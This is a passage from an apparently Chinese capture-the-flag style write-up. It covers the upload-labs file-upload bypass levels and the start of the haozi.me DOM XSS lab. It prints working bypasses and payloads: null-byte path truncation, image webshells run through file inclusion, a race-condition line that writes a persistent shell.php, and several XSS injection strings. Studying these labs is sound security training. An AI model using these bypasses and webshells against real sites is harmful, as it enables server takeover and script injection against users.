$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

一样的过滤方式,但没过滤.user.ini;

绕过写法:

1
Auto-prepend-file = file.txt 

这个txt文件里只有php代码,当ini被加载后,这句话会使得这个目录下所有php文件自动包含这个file.txt里的内容,再执行;

包含进去的代码被贴到已有php文件之后;

点加空格加点绕过

此题的另类绕过方法;

Windows会将后缀名之后的.与空格自动删除;

这道题的绕过过程为:

  • 获取文件名
  • 删除文件末尾的点
  • 以点分割为一个后缀名
  • 将后缀名转为小写
  • 对后缀名去多余空格
  • 判断

当文件为file.php时,第三步获取到的文件后缀是.php,第一步获取的文件名为file.php;

但当文件为file.php. .时,第三步获取到的文件后缀是. ,第一步获取到的文件名为file.php. ;

所以可以绕过判断,并在上传后自动修正文件名为file.php;

P06

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

无法使用之前的两种绕过,但是它没判断大写,所以这道题可以大写绕过;

大写绕过

将后缀改为Php,PHP都可,只要不被匹配到;

P07

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题和之前的过滤并没有把首尾去空,可以利用空格绕过;

空格绕过

在匹配的时候,后缀字符串后面有一个空格不会被匹配到,但是传上去之后Windows会自动删除末尾的空格;

P08

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题并没有删除末尾点这一步;

加点绕过

如之前所说,在windows上后缀名之后的点和空格都会被删的原理;

P09

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这次它的过滤比起之前的少了去除字符串::$DATA,那么这个东西是如何利用的呢?

额外数据流

windows操作系统中,文件名后面跟着::$DATA,表示一个文件附加数据流,数据流是一种用于在文件内部存储额外数据的机制;

正常情况下,文件只有一个默认数据流,通过文件名访问,但同时Windows NT文件系统支持在文件内部创建额外的数据流,存储其他信息用;

这些额外的数据流通过在文件后面添加::$DATA来访问;

写入方法:

利用重定向实现写入额外数据流;

1
2
echo "deadbeaf" >> file.png:Hack
type file.php >> file.png:Hack

上述后面的语句表示file.png文件的一个叫做Hack的额外数据流;

echo是将内容写入,type是将一个文件的内容写入;

查看方法:

1
notepad file.png:Hack

此时会用记事本打开额外数据流的内容并显示;

::$DATA绕过

在php中,不会验证数据流后缀,如数据流名字为a.php,它只是一个数据流而不是一个文件,所以不会验证.php;

在上面也说了,一个文件后面跟着::$DATA就是一个数据流;

而windows中,文件名不允许冒号的存在,所以在上传时,改名文件后面跟着::$DATA,让检验部分认为这上传的是一个数据流而不是文件,从而绕过检测,在到达上传文件夹后,因windows的文件命名规则,将会删除冒号后面的东西变回文件,这就是绕过过程;

P10

与P05的另类绕过方式一样;

P11

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题并不是用的in_array函数,而是str_ireplace函数,有什么区别呢?

前者会使用正则匹配整句话,而后者不去匹配整句,只会找这串字符(php)然后消除,即便后面加点加空格也会被消除,大写同理;

看起来不好绕了,因为特殊写法失效了,但其实这道题是最好绕的,sql注入里学的最有意思的便是双写绕过了;

因为只判断一次,所以直接后缀起名 pphphp ,匹配中中间的php使之剔除,留下php绕过;

P12

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这道题与之前不同的是,使用了白名单机制;

可以知道php文件上传时,文件先是放于临时路径,之后转移到实际文件内,路径上的才是实际上的文件,之前改的文件名及其后缀只是包头内的一个字符串字段;

这道题的路径是可以被控制的,因为可以用Get传参;

此时可以用空字符截断,本身是Get部分加上后面的文件名和后缀内容组成一个文件路径,但可以在get部分直接写上一个完整文件路径,然后用空字符截断后面连接的部分达成绕过jpg的同时上传的文件类型是php;

在上传时,只需要设置参数即可成功:

1
?save_path=../upload/file.php%00

P13

这道题和P12类似,get请求变为post请求,所以在后面添加0x00的hex编码即可;

P14

图片字节标识

魔术码

JPEG/JFIF 0xFF 0xD8

PNG 0x89 0x50

GIF 0x47 0x49

BMP 0x42 0x4D

TIFF 可变动,但也是前两个字节;

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

这道题在检测上传文件的标识符,也就是前两个字节;

那么绕过思路则是在写好的一句话木马前面添加标识符进行绕过;

但这样还不够,服务器会把它按照图片解析,需要利用 文件包含漏洞 运行图片🐎中的木马;

文件包含前瞻

php设计之初为了使资源利用率更高效,设计了include这么一个东西;

当一个文件要引用一个另文件时,include进来就能直接使得这个文件调用一次;

当操控者可以控制include后面跟着的文件路径时,漏洞就发生了,因为在包含之后的文件会以php解析的形式执行,当图片内有php木马时,include就导致了木马的执行;

在upload文件夹的上层,靶场自带了一个include.php文件,用来形成文件包含漏洞的:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
/* 本页面存在文件包含漏洞,用于测试图片马是否能正常运行! */
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file))
{
include $file;
}
else
{
show_source(__file__);
}
?>

那么此时上传之后,使用该漏洞便可成功绕过:

1
127.0.0.1/upload-labs-master/include.php?file=./upload/file.png

P15

这道题相对于P14对图片检测要求更严格,会检测上传图片的大小,此时就需要用到在P04说到的方法,copy图片和木马成为一个图片🐎;

之后利用文件包含漏洞绕过;

(实际上可以用010eiditor把木马以十六进制格式附加到图片末尾)

P16

同P15一样;

P17

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

这道题很明显针对了图片马,在上传之后将图片进行重写,也就是二次渲染;

如何判断图片被二次渲染?当使用P15,P16的方法不起作用时,上传图片另存为下载下来查看是否木马语句还存在即可判断;

如何绕过?要知道,二次渲染只是将图片的原始内容保存,其他内容进行重写,那么要找到原始的内容,也就是没改写部分的内容,进行对木马的插入即可;找寻重写部分只需要使用010进行diff比较即可;

理论来说GIF更容易,而修改PNG文件不能直接插入;

P18

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

看起来和P12的源码很像,只不过PATH部分拼接由原来的GET传参变成了UPLOAD_PATH这么个东西,这说明没办法控制上传路径,就无法利用空字符截取了;

并且它是先move再in array,这和之前的顺序也有区别,这说明它是先将文件放到服务器的文件夹上,再去做后缀判断;

文件上传条件竞争

前提:文件先到服务器上,再做判断;

本质:抢夺线程的资源,使得上传的木马文件可以快速访问运行一次(上传之后,判断之前);

实际方式:一直上传,一直访问,在线程没反应过来的时候给与木马命令的执行;

总结:一个可执行php在目标文件夹一闪而逝即可利用;

但由于不可能只依靠这条一句话木马进行不可靠的信息传输,所以在需要这么访问的文件里,写入执行生成小马的语句,在它的上传文件目录中生成一个一直存在的一句话木马文件即可:

1
<?php fputs(fopen('shell.php','w'),'<?一句话木马?>' ); ?>

若有检测标识符,可以用base64编码绕过;

如何实现一直上传?一直访问?使用bp的测试器模块进行持续重放攻击,抓取上传php的包以及一直访问的包;

try

真是太裤辣!

P19

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

对于上传文件的代码审计:

先判断路径

再设置路径

再检查后缀以及文件大小

之后移动文件到服务器上

再进行随机重命名;

此时文件还没移动到服务器上就已经判断并删掉了,但是在白名单里面比之前多出来了一些压缩文件的后缀,不只是图片后缀了;

apache解析漏洞

对于apache服务器来说,访问一个服务器并不能解析的文件,它会对文件整体名字向前进行搜索,找到一个可以解析的后缀来执行;

例如一个文件叫做: file.php.7z ;

当用浏览器访问这个文件的时候,apache无法解析7z,就会把它当作一个php文件来执行;

而这道题虽然上传是在文件判断之后,但是7z后缀是可以上传上去的,只是之后会对其重命名,重命名变为xxx.7z,服务器不知道怎么解析,会用记事本打开;

赶在重命名之前对原文件进行访问,可以达到执行php的目的,实现针对于apache解析漏洞的条件竞争;

P20

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

又成黑名单绕过了;

可以自己取名文件名,判断用的是自己取的;

不多说了,大写就能绕过;

做个简单的总结吧;

黑名单绕过总结

黑名单一般考虑从后缀绕过下手,考虑特殊写法诸如php3一类的;

之后的一系列,.htaccess,.user.ini,::$DATA,正则匹配绕过;

白名单总结

这就要看条件了,如果能控制文件上传的路径,可以考虑空字符截断的后缀绕过;

如果能利用文件包含,可以考虑隐藏木马于可利用的文件上;

如果可执行文件在服务端能够一闪而逝,可以考虑使用条件竞争手段;

两类文件上传绕过都应该考虑对文件原始内容的检测,如检测关键字php,检测图片大小,二次渲染,做好正则绕过;

更多的,针对于以上这些漏洞,前提一定是php和apache的版本对应,版本不对,漏洞也就不复存在了;

P21

这道题按成一道审计题来做;

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

逻辑:判断content-type,之后判断文件后缀,使用白名单机制,无法利用条件竞争和图片马,所以这道题绝对是后缀绕过;

只是这是白名单,如何实现后缀绕过呢?

它这里将file打散为数组,以点分割,即为前面的内容以及后缀名,这就是漏洞所利用的地方,正则绕过的一种;

运行过程:
try

可以发现,在file这段部分是利用的重点,因为最后一个png是无法改动的;

第一想法是利用空字符截断,那么要解决的就一个问题,如何在第一个元素中塞进.这个符号;

但尝试之后是不现实的;

另一个思路,end函数和count函数,它明明可以在拼接的地方就用end,为什么非要炫技写count-1索引呢?

因为学C这种强规则性的语言学傻了,php的数组它不需要是连贯的!

如令$file[0] = ‘name’, $file[7] = ‘gg’,count计算下来是2!!!

利用这个思路,让count-1去提取php就行了;

构造如下内容:

1
file.ggez..php.png

那么

$file[0] = ‘file’

$file[1] = ‘ggez’

$file[2] = null

$file[3] = ‘php’

$file[4] = ‘png’

end函数会提取png去比较,而count计算的时候只会计算出4,null不计入!

所以4-1=3,提取php进行最终的拼接,完成后缀绕过;

但对于有些php版本,还是会把$file[2]给计入count的计算,所以可以用bp抓包进行POST传递数组的方式:

post

总结一下吧,很多不同的漏洞呢,实际上都和php绕过有很大的关系,是相辅相成的;

代码审计的一个目的就是快速找到php代码中可以利用的部分,就如这道题的end和count一样,并没有很快的就发现这个利用点;

至此,文件上传漏洞及其labs结束;

阅读全文
Xss-labs-DOM

类型分类

  • 反射型:payload存在于恶意链接,没有存在于服务器内,被攻击者点击遭罪;
  • 存储型:payload被上传到服务器,出现在留言评论交互处,访问被注入了payload的页面就会被攻击;
  • DOM型:基于DOM文档对象的一种漏洞,DOM型并不会和后台进行交互,是前端的安全问题,防御也只能在客户端上进行;

LAB说明

使用靶场:

alert(1) (haozi.me)

所有类型都为DOM型xss

DOM型解题思路

  • 最终的目的都是构造 <script>alert(1)</script>;
  • 除了第一步写法也可以写在元素属性里,触发发生;
  • 先给参数判断回显,看是在哪个标签里;
  • 第一种思想:闭包标签;
  • 遇到正则匹配无法闭包分情况:
    • 遇到匹配符号,能用特殊写法绕就用特殊写法
    • 绕不过符号,尝试unicode编码绕过,双写绕过
    • 匹配一句话,尝试中断匹配,如加空格,回车
    • 匹配网址,可使用http协议@跳转

0X00

服务器代码:

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

input是参数,利用url传入;

输入参数传入js函数返回给用户html,需要实现弹窗功能则输入为:

1
<script> alert(1) </script>

0X01

服务器代码:

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

说明:textarea 是一个多行文本框,期间的内容都是它的内容,有一个思路和sql注入相似–闭包:

1
</textarea><script>alert(1)</script><textarea>

0X02

服务器代码:

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

说明:input 是一个输入框,类型和输入内容分别是type及value;

同样是采用闭包,思想和sql注入相似:

1
"><script> alert(1) </script>

0X03

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

正则替换左右括号,可使用反引号写法绕过:

1
<script>alert`1`</script>

0X04

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

Unicode编码绕过: &#40; &#41;

只可以在标签属性内使用:src,onmouseover,value…

在这里使用onload,页面加载完后执行的动作;

这里说明,在””内的任何编码都会被解释为对应字符,即使””内有”的Unicode编码都会使其提前闭包!!!

1
<body onload="alert&#40;1&#41;"></body>

0X05

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

注释绕过,但不能使用向后闭包的方式;

注释符还有一个写法: –!>

1
--!><script>alert(1)</script>

0X06

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

输入框以及特殊符号绕过,匹配内容为以auto和on开头的某个属性后面跟着=或>;

正则里,.不匹配换行符,则可以如下写法:

1
2
onmouseover
="alert(1)"

onmouseover属性是当鼠标移动到元素上的时候触发;

0x07

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

正则匹配html标签,并且用article包裹

由于html的写法问题,不闭合>也能跑:

1
<body onload="alert(1)"

0X08

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

style是css标签,里面不能跑js脚本

可以不完整按着它的写法(加个空格)写后缀就行了:

其实也可以双写绕过</style>

1
</style > <script>alert(1)</script>

0X09

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

匹配了一个网址,没有大小写区分以及全局匹配;

依然采用闭包思想;

1
http://www.segmentfault.com "></script> <script>alert(1)</script> <!-- 

0x0A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

替换特殊字符,无法闭包;

http协议中有种写法为:
https://abcde@www.djdjdj.com
用来做身份验证,实际访问后面那个网址;

又这个lab提供了一个j.js的自带alert(1)的网页,所以可以这么写:

1
https://www.segmentfault.com@https://xss.haozi.me/j.js

注意艾特之后也得加上协议,如果前者用的是http,后者不能用https!!!

0x0B

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

使得全体字符大写,标签不受影响;

但是alert收到了影响;

这里是html不受大小写影响,js会,所以使用编码绕过:

1
</h1><body onload="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"></body><h1>

0X0C

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

